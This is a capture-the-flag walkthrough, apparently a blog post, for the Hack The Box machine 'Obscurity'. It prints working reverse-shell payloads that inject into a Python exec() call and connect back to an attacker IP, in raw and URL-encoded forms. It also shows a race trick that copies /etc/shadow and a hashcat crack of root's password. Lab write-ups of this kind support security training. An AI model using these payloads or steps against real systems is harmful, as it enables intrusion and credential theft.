Obscurity - Hack The Box

Lorem Ipsum is simply dummy text of the printing and typesetting industry. Lorem Ipsum has been the industry’s standard dummy text ever since the 1500s, when an unknown printer took a galley of type and scrambled it to make a type specimen book. It has survived not only five centuries, but also the leap into electronic typesetting, remaining essentially unchanged. It was popularised in the 1960s with the release of Letraset sheets containing Lorem Ipsum passages, and more recently with desktop publishing software like Aldus PageMaker including versions of Lorem Ipsum.
hackthebox
Author

0xPThree

Published

December 12, 2019

“Lorem Ipsum is simply dummy text of the printing and typesetting industry. Lorem Ipsum has been the industry’s standard dummy text ever since the 1500s, when an unknown printer took a galley of type and scrambled it to make a type specimen book. It has survived not only five centuries, but also the leap into electronic typesetting, remaining essentially unchanged. It was popularised in the 1960s with the release of Letraset sheets containing Lorem Ipsum passages, and more recently with desktop publishing software like Aldus PageMaker including versions of Lorem Ipsum.”

██╗ ██╗███████╗███████╗██████╗ ██║ ██║██╔════╝██╔════╝██╔══██╗ ██║ ██║███████╗█████╗ ██████╔╝ ██║ ██║╚════██║██╔══╝ ██╔══██╗ ╚██████╔╝███████║███████╗██║ ██║ ╚═════╝ ╚══════╝╚══════╝╚═╝ ╚═╝

  1. root@kali:/opt/htb/machines/bitlab# nmapAutomatorDirb.sh 10.10.10.168 All 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 33:d3:9a:0d:97:2c:54:20:e1:b0:17:34:f4:ca:70:1b (RSA) | 256 f6:8b:d5:73:97:be:52:cb:12:ea:8b:02:7c:34:a3:d7 (ECDSA) |_ 256 e8:df:55:78:76:85:4b:7b:dc:70:6a:fc:40:cc:ac:9b (ED25519) 8080/tcp open http-proxy BadHTTPServer Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

    DIRB

    • http://10.10.10.168:8080/index.html (CODE:200|SIZE:4171)

    NIKTO

    • Server: BadHTTPServer

  2. Looking on the website we find

    • ‘security through obscurity’; we write all our own software from scratch
    • A custom written web server 70% (Currently resolving minor stability issues; server will restart if it hangs for 30 seconds)
    • An unbreakable encryption algorithm 85%
    • A more secure replacement to SSH 95%
    • to server devs: the current source code for the web server is in ‘SuperSecureServer.py’ in the secret development directory

  3. We use ffuf to find the path to the source code SuperSecureServer.py root@p3:/opt# ffuf -c -w /usr/share/dirb/wordlists/common.txt -u http://10.10.10.168:8080/FUZZ/SuperSecureServer.py

         /'___\  /'___\           /'___\
    /\ \__/ /\ \__/  __  __  /\ \__/
    \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
     \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
      \ \_\   \ \_\  \ \____/  \ \_\
       \/_/    \/_/   \/___/    \/_/

    v1.0-rc1

    :: Method : GET :: URL : http://10.10.10.168:8080/FUZZ/SuperSecureServer.py :: Follow redirects : false :: Calibration : false :: Timeout : 10 :: Threads : 40 :: Matcher : Response status: 200,204,301,302,307,401,403 ________________________________________________

    develop [Status: 200, Size: 5892, Words: 1806, Lines: 171] :: Progress: [4614/4614] :: 461 req/sec :: Duration: [0:00:10] :: Errors: 0 ::

    URL to Source Code: http://obscurity.htb:8080/develop/SuperSecureServer.py

  4. Reading the source code we find a voulnerable exec-function on line 139. exec(info.format(path)) # This is how you do string formatting, right?

    This can also be identified using bandit. root@p3:/opt/htb/machines/obscurity# bandit SuperSecureServer.py ————————————————– >> Issue: [B102:exec_used] Use of exec detected. Severity: Medium Confidence: High Location: SuperSecureServer.py:139 More Info: https://bandit.readthedocs.io/en/latest/plugins/b102_exec_used.html 138 info = “output = ‘Document: {}’” # Keep the output for later debug 139 exec(info.format(path)) # This is how you do string formatting, right? 140 cwd = os.path.dirname(os.path.realpath(file))

    The code tells us that path = urllib.parse.unquote(path). Looking at urlparse we find that everything behind / will be path. This is where we should execute our code (http://obscurity.htb:8080/EXPLOIT-CODE-HERE) >>> o = urlparse(‘http://www.cwi.nl:80/%7Eguido/Python.html’) >>> o ParseResult(scheme=‘http’, netloc=‘www.cwi.nl:80’, path=‘/%7Eguido/Python.html’, params=’‘, query=’‘, fragment=’’)

  5. Setup a local nc listener and execute a python reverse shell. Break the exec-funtion using ’; at the beginning of line and end it with #. Below are two diffrenet types of shell approaches.

    Native:

    1. OS System, NC Reverse ’;os.system(“rm /tmp/f ; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1|nc 10.10.14.9 4488 > /tmp/f”);#
    2. Python Reverse (Pentestmonkey) ’;import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“10.10.14.9”,4488));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,“-i”]);#

    URL-Encoded:

    1. OS System, NC Reverse %27%3Bos.system%28%22rm%20%2Ftmp%2Ff%20%3B%20mkfifo%20%2Ftmp%2Ff%3B%20cat%20%2Ftmp%2Ff%20%7C%20%2Fbin%2Fsh%20-i%202%3E%261%7Cnc%2010.10.14.9%204488%20%3E%20%2Ftmp%2Ff%22%29%3B%23
    2. Python Reverse (Pentestmonkey) %27%3Bimport%20socket%2Csubprocess%2Cos%3Bs%3Dsocket.socket%28socket.AF_INET%2Csocket.SOCK_STREAM%29%3Bs.connect%28%28%2210.10.14.9%22%2C4488%29%29%3Bos.dup2%28s.fileno%28%29%2C0%29%3B%20os.dup2%28s.fileno%28%29%2C1%29%3B%20os.dup2%28s.fileno%28%29%2C2%29%3Bp%3Dsubprocess.call%28%5B%22%2Fbin%2Fsh%22%2C%22-i%22%5D%29%3B%23

    root@p3:/opt/htb/machines/obscurity# curl -X POST http://obscurity.htb:8080/%27%3Bos.system%28%22rm%20%2Ftmp%2Ff%20%3B%20mkfifo%20%2Ftmp%2Ff%3B%20cat%20%2Ftmp%2Ff%20%7C%20%2Fbin%2Fsh%20-i%202%3E%261%7Cnc%2010.10.14.9%204488%20%3E%20%2Ftmp%2Ff%22%29%3B%23 root@p3:/opt/htb/machines/obscurity# nc -lvnp 4488 listening on [any] 4488 … connect to [10.10.14.9] from (UNKNOWN) [10.10.10.168] 60698 $ id uid=33(www-data) gid=33(www-data) groups=33(www-data)

  6. Upgrade the shell. In /home/robert we find a python encryption scrip, two test files (check.txt & out.txt), and pass-file.

    Test Files: www-data@obscure:/home/robert$ cat check.txt Encrypting this file with your key should result in out.txt, make sure your key is correct! www-data@obscure:/home/robert$ cat out.txt ¦ÚÈêÚÞØÛÝÝ ×ÐÊß ÞÊÚÉæßÝËÚÛÚêÙÉëéÑÒÝÍÐ êÆáÙÞãÒÑÐáÙ¦ÕæØãÊÎÍßÚêÆÝáäè ÎÍÚÎëÑÓäáÛÌ× v

    Encrypted password-file: www-data@obscure:/home/robert$ cat passwordreminder.txt ´ÑÈÌÉàÙÁÑ鯷¿

    And the actuall encryption/decryption scrip, SuperSecureCrypt.py.

  7. Since we have both check.txt and out.txt we can reverse the script to get the key. Easiest way to do this would to write a script that loop through all letters to look for a match. This can also be done manually, which I did.

    Encrypt check.txt with key a, check if the first letter match out.txt (using vi), if it does move on to the next character. root@p3:/opt/htb/machines/obscurity# python3 SuperSecureCrypt.py -i check.txt -o test-out.txt -k a root@p3:/opt/htb/machines/obscurity# python3 SuperSecureCrypt.py -i check.txt -o test-out.txt -k al root@p3:/opt/htb/machines/obscurity# python3 SuperSecureCrypt.py -i check.txt -o test-out.txt -k ale .. root@p3:/opt/htb/machines/obscurity# python3 SuperSecureCrypt.py -i check.txt -o test-out.txt -k alexandrovich

    The encrypted out.txt and test-out.txt matches, hence the key is alexandrovich

    NOTE: Writing a bruteforce script using rockyou.txt is also applicable, however ‘alexandrovich’ is on row 10 245 981. My bruteforce script had been running for about 3 hours and was on word ‘tariq1’ - line 128 767. root@p3:/opt/htb/machines/obscurity# cat /usr/share/wordlists/rockyou.txt | grep -n alexandrovich 10245981:alexandrovich root@p3:/opt/htb/machines/obscurity# cat /usr/share/wordlists/rockyou.txt | grep -n tariq1 128767:tariq1

  8. Decrypt passwordreminder.txt using the found key. Grab user.txt root@p3:/opt/htb/machines/obscurity# python3 SuperSecureCrypt.py -d -i passwordreminder.txt -o pass-decrypt.txt -k alexandrovich Opening file passwordreminder.txt… Decrypting… Writing to pass-decrypt.txt… root@p3:/opt/htb/machines/obscurity# cat pass-decrypt.txt SecThruObsFTW

    SSH CREDENTIALS: robert:SecThruObsFTW

    root@p3:/opt/htb/machines/obscurity# ssh robert@obscurity.htb robert@obscurity.htb’s password: (SecThruObsFTW) Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-65-generic x86_64) Last login: Thu Dec 12 13:04:18 2019 from 10.10.14.9 robert@obscure:~$ cat user.txt e4493782066b55fe2755708736ada2d7

██████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████

██████╗ ██████╗ ██████╗ ████████╗ ██╔══██╗██╔═══██╗██╔═══██╗╚══██╔══╝ ██████╔╝██║ ██║██║ ██║ ██║ ██╔══██╗██║ ██║██║ ██║ ██║ ██║ ██║╚██████╔╝╚██████╔╝ ██║ ╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝

  1. Sudo -l shows that we can run the script BetterSSH.py as sudo. robert@obscure:/tmp/SSH$ sudo -l Matching Defaults entries for robert on obscure: env_reset, mail_badpass, secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin

    User robert may run the following commands on obscure: (ALL) NOPASSWD: /usr/bin/python3 /home/robert/BetterSSH/BetterSSH.py

  2. Running the script we can see that it tries to create a temporary file to /tmp/SSH/RANDOM-NAME and compare it to /etc/shadow

    Running without sudo shows we don’t have permissions to /etc/shadow robert@obscure:/tmp$ /usr/bin/python3 /home/robert/BetterSSH/BetterSSH.py Enter username: root Enter password: root Traceback (most recent call last): File “/home/robert/BetterSSH/BetterSSH.py”, line 15, in with open(‘/etc/shadow’, ‘r’) as f: PermissionError: [Errno 13] Permission denied: ‘/etc/shadow’

    Running as sudo the file/dir doesn’t exist robert@obscure:/tmp$ sudo /usr/bin/python3 /home/robert/BetterSSH/BetterSSH.py Enter username: root Enter password: root Traceback (most recent call last): File “/home/robert/BetterSSH/BetterSSH.py”, line 24, in with open(‘/tmp/SSH/’+path, ‘w’) as f: FileNotFoundError: [Errno 2] No such file or directory: ‘/tmp/SSH/NeXWO4w1’

    Create the dir /tmp/SSH and run the script again with sudo robert@obscure:/tmp$ mkdir /tmp/SSH robert@obscure:/tmp$ sudo /usr/bin/python3 /home/robert/BetterSSH/BetterSSH.py Enter username: root Enter password: root Incorrect pass

  3. We need a way to grab the temporary created file from /tmp/SSH to get the hashes from /etc/shadow. Using the watch command with timer 0.1 seconds (-n 0) we can see that the file is created and removed.

    robert@obscure:/tmp/SSH$ watch -cd -n 0 cat /tmp/SSH/*

    In order to capture data we need to write the watch output to a file, we write a simple script for this.

    robert@obscure:/tmp$ cat watch-root.sh #!/bin/bash while true do cat /tmp/SSH/* >> /tmp/root-out.txt sleep 0.1 done

    Run the watch-script, run BetterSSH.py and grab the hashes from /etc/shadow.

    robert@obscure:/tmp$ ./watch-root.sh cat: ’/tmp/SSH/*’: No such file or directory .. ..

    robert@obscure:~$ sudo /usr/bin/python3 /home/robert/BetterSSH/BetterSSH.py Enter username: root Enter password: root Incorrect pass

    robert@obscure:/tmp$ cat root-out.txt root \(6\)riekpK4m$uBdaAyK0j9WfMzvcSKYVfyEHGtBfnfpiVbYbzbVmfbneEbo0wSijW1GQussvJSk8X1M56kzgGj8f7DFN1h4dy1

  4. We now have the type 6 password hash (SHA-512) of root. We can crack this using hashcat -m1800 root@p3:/opt/htb/machines/obscurity# echo “$6$riekpK4m$uBdaAyK0j9WfMzvcSKYVfyEHGtBfnfpiVbYbzbVmfbneEbo0wSijW1GQussvJSk8X1M56kzgGj8f7DFN1h4dy1” | tee root.hash root@p3:/opt/htb/machines/obscurity# hashcat -a0 -m1800 root.hash /usr/share/wordlists/rockyou.txt -o root.cracked –force Session……….: hashcat Status………..: Cracked Hash.Type……..: sha512crypt \(6\), SHA512 (Unix) Hash.Target……: \(6\)riekpK4m$uBdaAyK0j9WfMzvcSKYVfyEHGtBfnfpiVbYbzbV…1h4dy1 Time.Started…..: Thu Dec 12 15:26:11 2019 (2 secs) Time.Estimated…: Thu Dec 12 15:26:13 2019 (0 secs) Guess.Base…….: File (/usr/share/wordlists/rockyou.txt) Guess.Queue……: 1/1 (100.00%) Speed.#1………: 491 H/s (6.72ms) @ Accel:64 Loops:32 Thr:1 Vec:4 Recovered……..: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts Progress………: 768/14344385 (0.01%) Rejected………: 0/768 (0.00%) Restore.Point….: 0/14344385 (0.00%) Restore.Sub.#1…: Salt:0 Amplifier:0-1 Iteration:4992-5000 Candidates.#1….: 123456 -> james1

    Started: Thu Dec 12 15:26:02 2019 Stopped: Thu Dec 12 15:26:14 2019

    root@p3:/opt/htb/machines/obscurity# cat root.cracked \(6\)riekpK4m$uBdaAyK0j9WfMzvcSKYVfyEHGtBfnfpiVbYbzbVmfbneEbo0wSijW1GQussvJSk8X1M56kzgGj8f7DFN1h4dy1:mercedes

  5. Escalate from robert to root, grab root.txt. robert@obscure:~$ su Password: (mercedes) root@obscure:/home/robert# id uid=0(root) gid=0(root) groups=0(root) root@obscure:/home/robert# cat /root/root.txt 512fd4429f33a113a44d5acde23609e3

██████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████

██╗███╗ ██╗███████╗ ██████╗ ██████╗ ███╗ ███╗ █████╗ ████████╗██╗ ██████╗ ███╗ ██╗ ██║████╗ ██║██╔════╝██╔═══██╗██╔══██╗████╗ ████║██╔══██╗╚══██╔══╝██║██╔═══██╗████╗ ██║ ██║██╔██╗ ██║█████╗ ██║ ██║██████╔╝██╔████╔██║███████║ ██║ ██║██║ ██║██╔██╗ ██║ ██║██║╚██╗██║██╔══╝ ██║ ██║██╔══██╗██║╚██╔╝██║██╔══██║ ██║ ██║██║ ██║██║╚██╗██║ ██║██║ ╚████║██║ ╚██████╔╝██║ ██║██║ ╚═╝ ██║██║ ██║ ██║ ██║╚██████╔╝██║ ╚████║ ╚═╝╚═╝ ╚═══╝╚═╝ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═══╝

Watch https://ubuntuforums.org/showthread.php?t=2008978 https://unix.stackexchange.com/questions/56093/output-of-watch-command-as-a-list

Hashcat https://samsclass.info/123/proj10/p12-hashcat.htm ```